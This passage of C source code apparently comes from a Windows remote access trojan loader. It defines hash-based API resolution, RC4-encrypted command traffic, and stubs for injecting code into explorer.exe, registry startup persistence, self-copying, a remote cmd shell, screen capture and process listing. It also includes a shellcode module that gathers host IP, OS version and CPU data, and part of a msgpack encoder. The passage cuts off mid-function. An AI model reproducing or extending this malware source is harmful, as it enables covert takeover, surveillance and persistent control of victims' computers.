u8 recv_sbox[256];
#ifdef _WIN64
u32 kernel32;
u32 xLoadLibraryA, xGetProcAddress, xGetCurrentProcess, xCloseHandle, xOpenProcess, xlstrlenA, xlstrlenW, xlstrcatW, xlstrcpyA,
xlstrcpyW, xlstrcmpiW, xHeapAlloc, xHeapReAlloc, xHeapFree, xGetProcessHeap, xGetModuleHandleA, xGetModuleFileNameW, xCreateMutexA,
xGetLastError, xSleep, xVirtualAllocEx, xVirtualFreeEx, xWriteProcessMemory, xWaitForSingleObject, xCreateToolhelp32Snapshot,
xProcess32FirstW, xProcess32NextW, xExpandEnvironmentStringsW, xCreateProcessW, xCreateRemoteThread, xGetSystemDirectoryW,
xGetWindowsDirectoryW, xCopyFileW, xDeleteFileW;
u32 ntdll;
u32 xRtlZeroMemory, xRtlMoveMemory, xRtlCompressBuffer, xRtlGetCompressionWorkSpaceSize, xRtlDecompressBuffer;
u32 advapi32;
u32 xOpenProcessToken, xLookupPrivilegeValueA, xAdjustTokenPrivileges, xRegOpenKeyExA, xRegCreateKeyExW, xRegSetValueExW,
xRegQueryValueExW, xRegCloseKey;
u32 ws2_32;
u32 xWSAStartup, xWSACleanup, xhtons, xinet_addr, xgethostbyname, xsocket, xclosesocket, xconnect, xsetsockopt, xsend, xrecv, xselect;
#else
HMODULE kernel32;
_LoadLibraryA xLoadLibraryA;
_GetProcAddress xGetProcAddress;
_GetCurrentProcess xGetCurrentProcess;
_CloseHandle xCloseHandle;
_OpenProcess xOpenProcess;
_lstrlenA xlstrlenA;
_lstrlenW xlstrlenW;
_lstrcatW xlstrcatW;
_lstrcpyA xlstrcpyA;
_lstrcpyW xlstrcpyW;
_lstrcmpiW xlstrcmpiW;
_HeapAlloc xHeapAlloc;
_HeapReAlloc xHeapReAlloc;
_HeapFree xHeapFree;
_GetProcessHeap xGetProcessHeap;
_GetModuleHandleA xGetModuleHandleA;
_GetModuleFileNameW xGetModuleFileNameW;
_CreateMutexA xCreateMutexA;
_GetLastError xGetLastError;
_Sleep xSleep;
_VirtualAllocEx xVirtualAllocEx;
_VirtualFreeEx xVirtualFreeEx;
_WriteProcessMemory xWriteProcessMemory;
_WaitForSingleObject xWaitForSingleObject;
_CreateToolhelp32Snapshot xCreateToolhelp32Snapshot;
_Process32FirstW xProcess32FirstW;
_Process32NextW xProcess32NextW;
_ExpandEnvironmentStringsW xExpandEnvironmentStringsW;
_CreateProcessW xCreateProcessW;
_CreateRemoteThread xCreateRemoteThread;
_GetSystemDirectoryW xGetSystemDirectoryW;
_GetWindowsDirectoryW xGetWindowsDirectoryW;
_CopyFileW xCopyFileW;
_DeleteFileW xDeleteFileW;
HMODULE ntdll;
_RtlZeroMemory xRtlZeroMemory;
_RtlMoveMemory xRtlMoveMemory;
_RtlCompressBuffer xRtlCompressBuffer;
_RtlGetCompressionWorkSpaceSize xRtlGetCompressionWorkSpaceSize;
_RtlDecompressBuffer xRtlDecompressBuffer;
HMODULE advapi32;
_OpenProcessToken xOpenProcessToken;
_LookupPrivilegeValueA xLookupPrivilegeValueA;
_AdjustTokenPrivileges xAdjustTokenPrivileges;
_RegOpenKeyExA xRegOpenKeyExA;
_RegCreateKeyExW xRegCreateKeyExW;
_RegSetValueExW xRegSetValueExW;
_RegQueryValueExW xRegQueryValueExW;
_RegCloseKey xRegCloseKey;
HMODULE ws2_32;
_WSAStartup xWSAStartup;
_WSACleanup xWSACleanup;
_htons xhtons;
_inet_addr xinet_addr;
_gethostbyname xgethostbyname;
_socket xsocket;
_closesocket xclosesocket;
_connect xconnect;
_setsockopt xsetsockopt;
_send xsend;
_recv xrecv;
_select xselect;
#endif
u8 extra_data[1024];
#ifdef _WIN64
u32 get_proc_from_hash, rc4_init, rc4_crypt, alloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,
compress, decompress, wait_buffer, recv_data, send_data, connect_server;
#else
_get_proc_from_hash get_proc_from_hash;
_rc4_init rc4_init;
_rc4_crypt rc4_crypt;
_alloc_memory alloc_memory;
_realloc_memory realloc_memory;
_free_memory free_memory;
_alloc_executable_memory alloc_executable_memory;
_free_executable_memory free_executable_memory;
_compress compress;
_decompress decompress;
_wait_buffer wait_buffer;
_recv_data recv_data;
_send_data send_data;
void *connect_server; // shellcodeʹ
#endif
#ifdef _WIN64
extra_function_t connect_by_socks5, inject_to_explorer, add_startup_hklm_x86, add_startup_activex_x86, copy_self_x86,
find_process_by_name_x86, inject_to_exploer_code_x86;
HMODULE(*get_kernel32_base_x64)();
u16 get_kernel32_base_x64_size;
HMODULE(*get_ntdll_base_x64)();
u16 get_ntdll_base_x64_size;
HMODULE(*get_proc_from_hash_x64)(HMODULE, u32, _GetProcAddress);
u16 get_proc_from_hash_x64_size;
void(*add_startup_hklm_x64)(struct x64_global_data *, struct global_data *);
u16 add_startup_hklm_x64_size;
void(*add_startup_activex_x64)(struct x64_global_data *, struct global_data *);
u16 add_startup_activex_x64_size;
void(*copy_self_x64)(struct x64_global_data *, struct global_data *);
u16 copy_self_x64_size;
u32(__stdcall *find_process_by_name_x64)(struct x64_global_data *, wchar_t *);
u16 find_process_by_name_x64_size;
extra_function_t inject_to_explorer_code_x64;
#else
extra_function_t connect_by_socks5, inject_to_explorer;
void(__stdcall *add_startup_hklm_x86)(struct global_data *);
u32 dummy0;
u16 add_startup_hklm_x86_size;
void(__stdcall *add_startup_activex_x86)(struct global_data *);
u32 dummy1;
u16 add_startup_activex_x86_size;
void(__stdcall *copy_self_x86)(struct global_data *);
u32 dummy2;
u16 copy_self_x86_size;
u32(__stdcall *find_process_by_name_x86)(global_data_p, wchar_t *);
u32 dummy3;
u16 find_process_by_name_x86_size;
extra_function_t inject_to_explorer_code_x86, get_kernel32_base_x64, get_ntdll_base_x64, get_proc_from_hash_x64, add_startup_hklm_x64,
add_startup_activex_x64, copy_self_x64, find_process_by_name_x64, inject_to_explorer_code_x64;
#endif
};
// Эͷ
typedef struct packet_header {
uint32_t random; //
uint32_t signature; // ־
uint8_t cmd;
uint32_t packet_unpacked_size; // ѹĴС
uint32_t packet_size; // С
} packet_header_t;
// buffer
typedef struct buffer_ {
size_t size;
uint8_t *data;
size_t alloc;
global_data_t *global_data;
} buffer_t;
// bitmap
typedef struct bitmap_ {
HBITMAP bitmap;
PBITMAPINFO info;
int info_size;
void *bits;
int width;
int height;
int bit_count;
HDC dc;
BITMAPFILEHEADER file_header;
int bitmap_file_size;
global_data_t *global_data;
} bitmap_t;
#include "extra.inc"
#include "define.inc"
// extra
typedef struct {
_buffer_new buffer_new;
_buffer_free buffer_free;
_buffer_checkspace buffer_checkspace;
_buffer_write buffer_write;
_buffer_clear buffer_clear;
_msgpack_lite_pack_nil msgpack_lite_pack_nil;
_msgpack_lite_pack_boolean msgpack_lite_pack_boolean;
_msgpack_lite_pack_signed msgpack_lite_pack_signed;
_msgpack_lite_pack_unsigned msgpack_lite_pack_unsigned;
_msgpack_lite_pack_float msgpack_lite_pack_float;
_msgpack_lite_pack_double msgpack_lite_pack_double;
_msgpack_lite_pack_real msgpack_lite_pack_real;
_msgpack_lite_pack_map_size msgpack_lite_pack_map_size;
_msgpack_lite_pack_str msgpack_lite_pack_str;
_msgpack_lite_pack_widestr msgpack_lite_pack_widestr;
_msgpack_lite_pack_bin_size msgpack_lite_pack_bin_size;
_msgpack_lite_pack_bin msgpack_lite_pack_bin;
_msgpack_lite_pack_array_size msgpack_lite_pack_array_size;
_msgpack_lite_pack_insert msgpack_lite_pack_insert;
_send_packet send_packet;
_recv_packet recv_packet;
_bitmap_new bitmap_new;
_bitmap_free bitmap_free;
_bitmap_scan_line bitmap_scan_line;
_bitmap_save bitmap_save;
uint32_t state;
void *shellcode_main_data;
struct {
void *code;
void *data;
_get_lan_info get_lan_info;
_get_os_version get_os_version;
_get_cpu_frequency get_cpu_frequency;
} information;
struct {
void *code;
void *data;
HANDLE cmd_handle, input_read, input_write, output_read, output_write;
_cmd_shell_initialize cmd_shell_initialize;
_cmd_shell_send_result cmd_shell_send_result;
_cmd_shell_execute cmd_shell_execute;
_cmd_shell_finalize cmd_shell_finalize;
} cmd_shell;
struct {
void *code;
DWORD tick;
_thumbnail_send thumbnail_send;
} thumbnail;
struct {
void *code;
int screen_width, screen_height, start_line, bit_count;
HWND desktop_window;
HDC desktop_dc;
bitmap_t *bitmap_full, *bitmap_line;
bool first_screen_sent;
RECT changed[9];
DWORD tick;
_screenspy_initalize screenspy_initalize;
_screenspy_send screenspy_send;
_screenspy_finalize screenspy_finalize;
} screenspy;
struct {
void *code;
_process_send_list process_send_list;
} process;
HMODULE version;
HMODULE shlwapi;
HMODULE user32;
HMODULE gdi32;
// kernel32
_WideCharToMultiByte xWideCharToMultiByte;
_GetTickCount xGetTickCount;
_GetComputerNameW xGetComputerNameW;
_GlobalMemoryStatusEx xGlobalMemoryStatusEx;
_GetLocaleInfoA xGetLocaleInfoA;
_CreatePipe xCreatePipe;
_GetExitCodeProcess xGetExitCodeProcess;
_PeekNamedPipe xPeekNamedPipe;
_ReadFile xReadFile;
_WriteFile xWriteFile;
_TerminateProcess xTerminateProcess;
_GetCurrentThreadId xGetCurrentThreadId;
_lstrcmpiA xlstrcmpiA;
_GetSystemDirectoryA xGetSystemDirectoryA;
_lstrcatA xlstrcatA;
// advapi32
_GetUserNameW xGetUserNameW;
_RegQueryValueExA xRegQueryValueExA;
// ws2_32
_gethostname xgethostname;
_inet_ntoa xinet_ntoa;
// version
_GetFileVersionInfoSizeA xGetFileVersionInfoSizeA;
_VerQueryValueA xVerQueryValueA;
_GetFileVersionInfoA xGetFileVersionInfoA;
// shlwapi
_wnsprintfA xwnsprintfA;
// user32
_MessageBoxA xMessageBoxA;
_SetRect xSetRect;
_GetUserObjectInformationA xGetUserObjectInformationA;
_SetThreadDesktop xSetThreadDesktop;
_CloseDesktop xCloseDesktop;
_GetSystemMetrics xGetSystemMetrics;
_GetDesktopWindow xGetDesktopWindow;
_GetDC xGetDC;
_ReleaseDC xReleaseDC;
_SetRectEmpty xSetRectEmpty;
_GetCursorPos xGetCursorPos;
_GetThreadDesktop xGetThreadDesktop;
_OpenInputDesktop xOpenInputDesktop;
// gdi32
_CreateCompatibleBitmap xCreateCompatibleBitmap;
_GetDIBits xGetDIBits;
_CreateDIBSection xCreateDIBSection;
_CreateCompatibleDC xCreateCompatibleDC;
_SelectObject xSelectObject;
_DeleteDC xDeleteDC;
_DeleteObject xDeleteObject;
_BitBlt xBitBlt;
_StretchBlt xStretchBlt;
} extra_t;
#pragma pack(pop)
#define extra_data() ((extra_t *)global_data->extra_data)
#define xWideCharToMultiByte ((extra_t *)global_data->extra_data)->xWideCharToMultiByte
#define xGetTickCount ((extra_t *)global_data->extra_data)->xGetTickCount
#define xgethostname ((extra_t *)global_data->extra_data)->xgethostname
#define xinet_ntoa ((extra_t *)global_data->extra_data)->xinet_ntoa
#define xGetFileVersionInfoSizeA ((extra_t *)global_data->extra_data)->xGetFileVersionInfoSizeA
#define xGetFileVersionInfoA ((extra_t *)global_data->extra_data)->xGetFileVersionInfoA
#define xVerQueryValueA ((extra_t *)global_data->extra_data)->xVerQueryValueA
#define xwnsprintfA ((extra_t *)global_data->extra_data)->xwnsprintfA
#define xGetComputerNameW ((extra_t *)global_data->extra_data)->xGetComputerNameW
#define xGetUserNameW ((extra_t *)global_data->extra_data)->xGetUserNameW
#define xGlobalMemoryStatusEx ((extra_t *)global_data->extra_data)->xGlobalMemoryStatusEx
#define xGetLocaleInfoA ((extra_t *)global_data->extra_data)->xGetLocaleInfoA
#define xRegQueryValueExA ((extra_t *)global_data->extra_data)->xRegQueryValueExA
#define xMessageBoxA ((extra_t *)global_data->extra_data)->xMessageBoxA
#define xCreatePipe ((extra_t *)global_data->extra_data)->xCreatePipe
#define xGetExitCodeProcess ((extra_t *)global_data->extra_data)->xGetExitCodeProcess
#define xPeekNamedPipe ((extra_t *)global_data->extra_data)->xPeekNamedPipe
#define xReadFile ((extra_t *)global_data->extra_data)->xReadFile
#define xWriteFile ((extra_t *)global_data->extra_data)->xWriteFile
#define xTerminateProcess ((extra_t *)global_data->extra_data)->xTerminateProcess
#define xCreateCompatibleBitmap ((extra_t *)global_data->extra_data)->xCreateCompatibleBitmap
#define xGetDIBits ((extra_t *)global_data->extra_data)->xGetDIBits
#define xCreateDIBSection ((extra_t *)global_data->extra_data)->xCreateDIBSection
#define xCreateCompatibleDC ((extra_t *)global_data->extra_data)->xCreateCompatibleDC
#define xSelectObject ((extra_t *)global_data->extra_data)->xSelectObject
#define xDeleteDC ((extra_t *)global_data->extra_data)->xDeleteDC
#define xDeleteObject ((extra_t *)global_data->extra_data)->xDeleteObject
#define xSetRect ((extra_t *)global_data->extra_data)->xSetRect
#define xGetCurrentThreadId ((extra_t *)global_data->extra_data)->xGetCurrentThreadId
#define xGetUserObjectInformationA ((extra_t *)global_data->extra_data)->xGetUserObjectInformationA
#define xlstrcmpiA ((extra_t *)global_data->extra_data)->xlstrcmpiA
#define xSetThreadDesktop ((extra_t *)global_data->extra_data)->xSetThreadDesktop
#define xCloseDesktop ((extra_t *)global_data->extra_data)->xCloseDesktop
#define xGetSystemMetrics ((extra_t *)global_data->extra_data)->xGetSystemMetrics
#define xGetDesktopWindow ((extra_t *)global_data->extra_data)->xGetDesktopWindow
#define xGetDC ((extra_t *)global_data->extra_data)->xGetDC
#define xReleaseDC ((extra_t *)global_data->extra_data)->xReleaseDC
#define xSetRectEmpty ((extra_t *)global_data->extra_data)->xSetRectEmpty
#define xBitBlt ((extra_t *)global_data->extra_data)->xBitBlt
#define xGetCursorPos ((extra_t *)global_data->extra_data)->xGetCursorPos
#define xStretchBlt ((extra_t *)global_data->extra_data)->xStretchBlt
#define xGetThreadDesktop ((extra_t *)global_data->extra_data)->xGetThreadDesktop
#define xOpenInputDesktop ((extra_t *)global_data->extra_data)->xOpenInputDesktop
#define xGetSystemDirectoryA ((extra_t *)global_data->extra_data)->xGetSystemDirectoryA
#define xlstrcatA ((extra_t *)global_data->extra_data)->xlstrcatA
#define xbuffer_new() ((extra_t *)global_data->extra_data)->buffer_new(global_data)
#define xbuffer_free ((extra_t *)global_data->extra_data)->buffer_free
#define xbuffer_checkspace ((extra_t *)global_data->extra_data)->buffer_checkspace
#define xbuffer_write ((extra_t *)global_data->extra_data)->buffer_write
#define xbuffer_clear ((extra_t *)global_data->extra_data)->buffer_clear
#define xinformation ((extra_t *)global_data->extra_data)->information
#define xget_lan_info(a) ((extra_t *)global_data->extra_data)->information.get_lan_info(global_data, a)
#define xget_os_version(a, b) ((extra_t *)global_data->extra_data)->information.get_os_version(global_data, a, b)
#define xget_cpu_frequency() ((extra_t *)global_data->extra_data)->information.get_cpu_frequency(global_data)
#define mlp_nil ((extra_t *)global_data->extra_data)->msgpack_lite_pack_nil
#define mlp_boolean ((extra_t *)global_data->extra_data)->msgpack_lite_pack_boolean
#define mlp_signed ((extra_t *)global_data->extra_data)->msgpack_lite_pack_signed
#define mlp_unsigned ((extra_t *)global_data->extra_data)->msgpack_lite_pack_unsigned
#define mlp_float ((extra_t *)global_data->extra_data)->msgpack_lite_pack_float
#define mlp_double ((extra_t *)global_data->extra_data)->msgpack_lite_pack_double
#define mlp_real ((extra_t *)global_data->extra_data)->msgpack_lite_pack_real
#define mlp_map_size ((extra_t *)global_data->extra_data)->msgpack_lite_pack_map_size
#define mlp_str ((extra_t *)global_data->extra_data)->msgpack_lite_pack_str
#define mlp_widestr ((extra_t *)global_data->extra_data)->msgpack_lite_pack_widestr
#define mlp_bin_size ((extra_t *)global_data->extra_data)->msgpack_lite_pack_bin_size
#define mlp_bin ((extra_t *)global_data->extra_data)->msgpack_lite_pack_bin
#define mlp_array_size ((extra_t *)global_data->extra_data)->msgpack_lite_pack_array_size
#define mlp_insert ((extra_t *)global_data->extra_data)->msgpack_lite_pack_insert
#define xsend_packet(a, b, c, d) ((extra_t *)global_data->extra_data)->send_packet(global_data, a, b, c, d)
#define xrecv_packet(a, b, c, d) ((extra_t *)global_data->extra_data)->recv_packet(global_data, a, b, c, d)
#define xbitmap_new(a, b, c, d) ((extra_t *)global_data->extra_data)->bitmap_new(global_data, a, b, c, d)
#define xbitmap_free ((extra_t *)global_data->extra_data)->bitmap_free
#define xbitmap_scan_line ((extra_t *)global_data->extra_data)->bitmap_scan_line
#define xbitmap_save ((extra_t *)global_data->extra_data)->bitmap_save
#define xcmd_shell ((extra_t *)global_data->extra_data)->cmd_shell
#define xcmd_shell_initialize(a) ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_initialize(global_data, a)
#define xcmd_shell_send_result(a) ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_send_result(global_data, a)
#define xcmd_shell_execute(a, b) ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_execute(global_data, a, b)
#define xcmd_shell_finalize(a) ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_finalize(global_data, a)
#define xthumbnail ((extra_t *)global_data->extra_data)->thumbnail
#define xthumbnail_send(a) ((extra_t *)global_data->extra_data)->thumbnail.thumbnail_send(global_data, a)
#define xscreenspy ((extra_t *)global_data->extra_data)->screenspy
#define xscreenspy_initalize(a, b) ((extra_t *)global_data->extra_data)->screenspy.screenspy_initalize(global_data, a, b)
#define xscreenspy_send(a) ((extra_t *)global_data->extra_data)->screenspy.screenspy_send(global_data, a)
#define xscreenspy_finalize(a) ((extra_t *)global_data->extra_data)->screenspy.screenspy_finalize(global_data, a)
#define xprocess ((extra_t *)global_data->extra_data)->process
#define xprocess_send_list(a) ((extra_t *)global_data->extra_data)->process.process_send_list(global_data, a)
enum {
CMD_SHELLCODE_MAIN, // shell code main
CMD_SHELLCODE_INFORMATION, // shellcode information
CMD_SHELLCODE_CMD_SHELL, // cmd_shell
CMD_SHELLCODE_THUMBNAIL, // thumbnail
CMD_SHELLCODE_SCREENSPY, // screenspy
CMD_SHELLCODE_PROCESS, // process
CMD_PING, // ping
CMD_PONG, // pingظ
CMD_LOGIN_INFO, // ½Ϣ
CMD_GET_PROCESS_LIST, // ȡб
CMD_PROCESS_LIST, // б
CMD_BEGIN_SCREENSPY, // Ļ
CMD_STOP_SCREENSPY, // رĻ
CMD_SCREENSPY_START, // ֪ͨ
CMD_SCREENSPY_DATA, // Ļ
CMD_SCREENSPY_END, // ر֪ͨ
CMD_THUMBANIL_START, // ѭȡͼ
CMD_THUMBNAIL_DATA, // Ļͼ
CMD_THUMBANIL_END, // ͼ
CMD_BEGIN_CMDSHELL, // cmdshell
CMD_STOP_CMDSHELL, // رcmdshell
CMD_CMDSHELL_START, // ֪ͨ
CMD_CMDSHELL_DATA, // cmdݣserver to client = command, client to server = cmdshell data
CMD_CMDSHELL_END // ر֪ͨ
};
#define BUFFER_INIT_SIZE 512
#define PACKET_HEADER_SIGNATURE 0xdeedbeef
#define MIN_COMPRESS_DATA_SIZE 512
#define WAIT_BUFFER_TIMEOUT 60 * 2
#define STATE_SCREEN_SPY (1)
#define STATE_CMD_SHELL (1 << 2)
#define STATE_THUMBNAIL (1 << 3)
#define FUNCTIONS_VERSION 0x001 // 汾0 ΰ汾0 С汾1
#endif // GLOBAL_DATA_H
================================================
FILE: loader v1.0/functions/functions/information.c
================================================
#include "shellcodes.h"
#include "global_data.h"
extern void __cdecl information_entry(global_data_t *global_data);
extern void __cdecl get_lan_info(global_data_t *global_data, char *info);
extern void __cdecl get_os_version(global_data_t *global_data, char *info, int size);
extern uint32_t __cdecl get_cpu_frequency(global_data_t *global_data);
extern void __cdecl information_code_end();
#pragma pack(push)
#pragma pack(1)
typedef struct {
char ntoskrnl[14]; // "\\ntoskrnl.exe"
char unknown[8]; // "unknown"
char fmt_version[12]; // "%d.%d.%d.%d"
char cpu_info_key[47]; // "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
char mhz[5]; // "~MHz"
char slash[2]; // "\\"
} information_data_t;
#pragma pack(pop)
#define FIX(name) xinformation.##name = (_##name)(delta + (char *)name)
#pragma optimize("ts", on)
void __cdecl information_entry(global_data_t *global_data) {
uint32_t delta;
__asm {
call x;
x:
pop eax;
sub eax, offset x;
mov delta, eax
}
information_data_t *data = (information_data_t *)(delta + (char *)information_code_end);
xinformation.data = data;
FIX(get_lan_info);
FIX(get_os_version);
FIX(get_cpu_frequency);
}
#undef FIX // undef macro FIX
void get_lan_info(global_data_t *global_data, char *info) {
char local_name[128];
xgethostname(local_name, sizeof(local_name));
HOSTENT *hosts = xgethostbyname(local_name);
if (hosts == 0) return;
xlstrcpyA(info, xinet_ntoa(*(struct in_addr *)hosts->h_addr_list[0]));
}
void __cdecl get_os_version(global_data_t *global_data, char *info, int size) {
information_data_t *data = (information_data_t *)xinformation.data;
char sys_path[MAX_PATH];
xGetSystemDirectoryA(sys_path, MAX_PATH);
xlstrcatA(sys_path, data->ntoskrnl);
DWORD temp;
DWORD ver_size = xGetFileVersionInfoSizeA(sys_path, &temp);
void *ver_info = alloc_memory(ver_size);
if (!xGetFileVersionInfoA(sys_path, 0, ver_size, ver_info)) {
xlstrcpyA(info, data->unknown);
goto __error_exit;
}
UINT value_len;
void *value;
if (!xVerQueryValueA(ver_info, data->slash, &value, &value_len)) {
xlstrcpyA(info, data->unknown);
goto __error_exit;
}
VS_FIXEDFILEINFO *vsfi = (VS_FIXEDFILEINFO *)value;
if (vsfi->dwSignature != 0xFEEF04BD) {
xlstrcpyA(info, data->unknown);
goto __error_exit;
}
xwnsprintfA(info, size, data->fmt_version, HIWORD(vsfi->dwFileVersionMS), LOWORD(vsfi->dwFileVersionMS), HIWORD(vsfi->dwFileVersionLS),
LOWORD(vsfi->dwFileVersionLS));
__error_exit:
free_memory(ver_info);
}
uint32_t __cdecl get_cpu_frequency(global_data_t *global_data) {
information_data_t *data = (information_data_t *)xinformation.data;
HKEY reg;
uint32_t type, ret, size;
xRegOpenKeyExA(HKEY_LOCAL_MACHINE, data->cpu_info_key, 0, KEY_READ, ®);
type = REG_DWORD;
size = sizeof(DWORD);
xRegQueryValueExA(reg, data->mhz, 0, &type, (LPBYTE)&ret, &size);
xRegCloseKey(reg);
return ret;
};
void __cdecl information_code_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
#undef FIX // undef macro FIX
void information_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)information_entry;
end = (char *)information_code_end;
printf("[*] information code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
information_data_t data;
memset(&data, 0, sizeof(data));
lstrcpyA(data.ntoskrnl, "\\ntoskrnl.exe");
lstrcpyA(data.unknown, "unknown");
lstrcpyA(data.fmt_version, "%d.%d.%d.%d");
lstrcpyA(data.cpu_info_key, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
lstrcpyA(data.mhz, "~MHz");
lstrcpyA(data.slash, "\\");
fwrite(&data, 1, sizeof(data), f);
printf("[*] information data size = 0x%X\n", sizeof(data));
fclose(f);
printf("[*] save information to %s success.\n", filename);
}
================================================
FILE: loader v1.0/functions/functions/msgpack_lite.inc
================================================
#define global_data buf->global_data // define globaldata for other
#pragma warning(push)
#pragma warning(disable:4244) // 去除转换可能丢失数据的警告
// windows都是little endian而msgpack是big endian所以这里只处理小端序
#define _store16(p, x) *(uint16_t *)p = (uint16_t)((((x) >> 8) & 0x0ff) | (x) << 8)
#define _store32(p, x) \
*(uint32_t *)p = \
((uint32_t)(((uint32_t)(x)) >> 24)) | \
(((uint32_t)(x) & 0x00ff0000) >> 8) | \
(((uint32_t)(x) & 0x0000ff00) << 8) | \
((uint32_t)(((uint32_t)(x)) << 24));
#define _store64(p, x) \
*(uint64_t*)p = \
((uint64_t)( \
(((((uint64_t)(x)) >> 40) | \
(((uint64_t)(x)) << 24)) & 0x0000ff000000ff00ULL) | \
(((((uint64_t)(x)) >> 24) | \
(((uint64_t)(x)) << 40)) & 0x00ff000000ff0000ULL) | \
(((uint64_t)(x) & 0x000000ff00000000ULL) >> 8) | \
(((uint64_t)(x) & 0x00000000ff000000ULL) << 8) | \
(((uint64_t)(x)) >> 56) | \
(((uint64_t)(x)) << 56)));
#define _load16(p, d) \
d = *(uint16_t *)(p); \
d = (uint16_t)((d << 8) | (d >> 8))
#define _load32(p, d) \
d = *(uint32_t *)(p); \
d = (d << 24) | ((d & 0xff00) << 8) | \
((d & 0xff0000) >> 8) | (d >> 24)
#define _load64(p, d) \
d = *(uint64_t *)(p); \
d = ((((d >> 40) | \
(d << 24)) & 0x0000ff000000ff00ULL) | \
(((d >> 24) | \
(d << 40)) & 0x00ff000000ff0000ULL) | \
((d & 0x000000ff00000000ULL) >> 8) | \
((d & 0x00000000ff000000ULL) << 8) | \
(d >> 56) | \
(d << 56))
#define move0(d) { \
buffer_checkspace(buf, sizeof(uint8_t)); \
uint8_t *s = buf->data + buf->size; \
*s = d; \
buf->size += sizeof(uint8_t); \
return; \
}
#define move1(t, d) { \
buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint8_t)); \
uint8_t *s = buf->data + buf->size; \
*s++ = (uint8_t)t; \
*s++ = (uint8_t)d; \
buf->size += sizeof(uint8_t) + sizeof(uint8_t); \
return; \
}
#define move2(t, d) { \
buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint16_t)); \
uint8_t *s = buf->data + buf->size; \
*s++ = (uint8_t)t; \
_store16(s, (uint16_t)d); \
buf->size += sizeof(uint8_t) + sizeof(uint16_t); \
return; \
}
#define move4(t, d) { \
buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint32_t)); \
uint8_t *s = buf->data + buf->size; \
*s++ = (uint8_t)t; \
_store32(s, (uint32_t)d); \
buf->size += sizeof(uint8_t) + sizeof(uint32_t); \
return; \
}
#define move8(t, d) { \
buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint64_t)); \
uint8_t *s = buf->data + buf->size; \
*s++ = (uint8_t)t; \
_store64(s, (uint64_t)d); \
buf->size += sizeof(uint8_t) + sizeof(uint64_t); \
return; \
}
void __cdecl msgpack_lite_pack_nil(buffer_t *buf) {
move0(0xc0);
};
void __cdecl msgpack_lite_pack_boolean(buffer_t *buf, bool b) {
if (b)
move0(0xc3)
else
move0(0xc2);
};
void __cdecl msgpack_lite_pack_signed(buffer_t *buf, int64_t i) {
if (i > 0x7f) {
if (i < 0x100)
move1(0xcc, i);
if (i < 0x10000L)
move2(0xcd, i);
if (i < 0x100000000LL)
move4(0xce, i);
move8(0xcf, i);
}
if (i >= -32)
move0(i);
if (i >= -128)
move1(0xd0, i);
if (i >= -32768)
move2(0xd1, i);
if (i >= (int64_t)0xffffffff80000000LL)
move4(0xd2, i);
move8(0xd3, i);
};
void __cdecl msgpack_lite_pack_unsigned(buffer_t *buf, uint64_t i) {
if (i < 0x80)
move0(i);
if (i < 0x100)
move1(0xcc, i);
if (i < 0x10000L)
move2(0xcd, i);
if (i < 0x100000000LL)
move4(0xce, i);
move8(0xcf, i);
};
void __cdecl msgpack_lite_pack_float(buffer_t *buf, float f) {
uint32_t tmp = *((uint32_t *)&f);
move4(0xca, tmp);
};
void __cdecl msgpack_lite_pack_double(buffer_t *buf, double d) {
uint64_t tmp = *((uint64_t*)&d);
move8(0xcb, tmp);
};
void __cdecl msgpack_lite_pack_real(buffer_t *buf, double d) {
float f = (float)d;
double df = f;
if (df == d)
msgpack_lite_pack_float(buf, f);
else
msgpack_lite_pack_double(buf, d);
};
void __cdecl msgpack_lite_pack_map_size(buffer_t *buf, uint32_t n) {
if (n < 0x10)
move0(0x80 | n);
if (n < 0x10000)
move2(0xde, n);
move4(0xdf, n);
};
void __cdecl msgpack_lite_pack_str(buffer_t *buf, const char *v) {
size_t l = xlstrlenA(v);
buffer_checkspace(buf, l + sizeof(uint8_t) + sizeof(uint32_t));
uint8_t *s = buf->data + buf->size;
if (l < 0x20) { // Fixstr
*s++ = (uint8_t)(0xa0 + l);
buf->size += sizeof(uint8_t);
}
else if (l < 0x100) { // Str 8
*s++ = 0xd9;
*s++ = l;
buf->size += sizeof(uint8_t) + sizeof(uint8_t);
}
else if (l < 0x10000) {
*s++ = 0xda;
_store16(s, (uint16_t)l);
s += sizeof(uint16_t);
buf->size += sizeof(uint8_t) + sizeof(uint16_t);
}
else {
*s++ = 0xdb;
_store32(s, (uint32_t)l);
s += sizeof(uint32_t);
buf->size += sizeof(uint8_t) + sizeof(uint32_t);
}
copy_memory(s, v, l);
buf->size += l;
};
void __cdecl msgpack_lite_pack_widestr(buffer_t *buf, const wchar_t *v) {
int l = xWideCharToMultiByte(CP_UTF8, 0, v, -1, 0, 0, 0, 0);
buffer_checkspace(buf, l + sizeof(uint8_t) + sizeof(uint32_t));
/*
如果函数运行成功,并且cchMultiByte不为零,返回值是由 lpMultiByteStr指向的缓冲区中写入的字节数;如果函数运行成功,
并且cchMultiByte为零,返回值是接收到待转换字符串的缓冲区所必需的字节数包括末尾的0。如果函数运行失败,返回值为零
*/
l -= 1;
uint8_t *s = buf->data + buf->size;
if (l < 0x20) { // Fixstr
*s++ = (uint8_t)(0xa0 + l);
buf->size += sizeof(uint8_t);
}
else if (l < 0x100) { // Str 8
*s++ = 0xd9;
*s++ = l;
buf->size += sizeof(uint8_t) + sizeof(uint8_t);
}
else if (l < 0x10000) {
*s++ = 0xda;
_store16(s, (uint16_t)l);
s += sizeof(uint16_t);
buf->size += sizeof(uint8_t) + sizeof(uint16_t);
}
else {
*s++ = 0xdb;
_store32(s, (uint32_t)l);
s += sizeof(uint32_t);
buf->size += sizeof(uint8_t) + sizeof(uint32_t);
}
xWideCharToMultiByte(CP_UTF8, 0, v, -1, s, l, 0, 0);
buf->size += l;
};
void __cdecl msgpack_lite_pack_bin_size(buffer_t *buf, uint32_t n) {
